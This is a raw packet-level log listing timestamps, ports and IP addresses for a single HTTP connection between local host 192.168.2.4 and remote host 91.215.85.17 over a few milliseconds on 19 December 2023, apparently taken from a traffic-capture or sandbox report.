Dec 19, 2023 03:22:27.478023052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478023052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478023052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478035927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478085041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478085041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478105068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478122950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478151083 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478171110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478183985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478193998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478204966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478241920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478241920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478276968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478324890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478347063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478384972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478511095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478523970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478552103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478569031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478607893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478640079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478689909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478709936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478718042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478735924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478740931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478760958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478780031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478800058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478889942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478894949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478910923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478926897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478944063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478946924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478948116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478957891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478977919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478977919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.478996038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479001999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479067087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479087114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479099035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479115963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479142904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479151964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479151964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479151964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479161978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479172945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479192019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479204893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479254961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479260921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479276896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479329109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479332924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479346037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479376078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479403019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479407072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479415894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479434967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479451895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479454041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479454041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479464054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479475975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479494095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479513884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479526997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479528904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479576111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479588032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479612112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479612112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479629993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479648113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479660034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479677916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479718924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479748011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479753971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479753971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479753971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479753971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479783058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479846954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479862928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479890108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479912996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479919910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479969025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.479969025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.479984045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480016947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480016947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480031013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480077028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480094910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480108023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480137110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480156898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480185986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480214119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480214119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480215073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480215073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480243921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480257988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480290890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480309010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480329990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480341911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480396032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480398893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480415106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480428934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480447054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480459929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480472088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480472088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480500937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480519056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480551004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480564117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480581999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480581999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480612040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480638981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480652094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480675936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480686903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480688095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480686903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480726004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480747938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480747938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480762959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480777025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480778933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480792999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480811119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480811119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480824947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480839968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480878115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480907917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480950117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.480957031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.480997086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481003046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481014967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481055021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481075048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481110096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481126070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481158972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481158972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481201887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481215000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481252909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481254101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481270075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481321096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481352091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481364012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481411934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481411934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481424093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481436968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481503010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481509924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481515884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481527090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481548071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481566906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481570959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481589079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481643915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481667042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481667042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481679916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481683969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481718063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481772900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481785059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481794119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481794119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481807947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481837988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481865883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481882095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481884003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481903076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481916904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481939077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481939077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481956005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.481981039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.481992960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482033968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482105017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482117891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482152939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482177019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482189894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482203960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482235909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482235909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482266903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482322931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482323885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482336998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482373953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482373953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482409000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482425928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482467890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482477903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482477903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482508898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482527018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482553005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482598066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482640982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482667923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482682943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482718945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482718945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482731104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482775927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482789993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482841015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482918024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482933998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.482990026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.482995033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483006954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483045101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483067036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483076096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483076096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483099937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483107090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483149052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483151913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483195066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483198881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483210087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483239889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483239889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483268023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483325958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483354092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483370066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483395100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483413935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483428001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483444929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483489037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483509064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483577967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483623028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483643055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483663082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483675003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483697891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483726978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483743906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483756065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483803988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483813047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483845949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483863115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483910084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483910084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483911037 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483920097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483951092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483983040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483983040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.483987093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.483999968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484016895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484045029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484045029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484087944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484096050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484101057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484129906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484206915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484224081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484256029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484309912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484329939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484386921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484390020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484400988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484424114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484441042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484482050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484482050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484483004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484483004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484510899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484524012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484559059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484570980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484577894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484577894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484587908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484611988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484611988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484627008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484639883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484654903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484700918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484704971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484704971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484724998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484740019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484741926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484774113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484776020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484776020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484837055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484853983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484865904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484884977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484896898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.484903097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484915972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484972000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.484972954 CET	80	49738	91.215.85.17	192.168.2.4
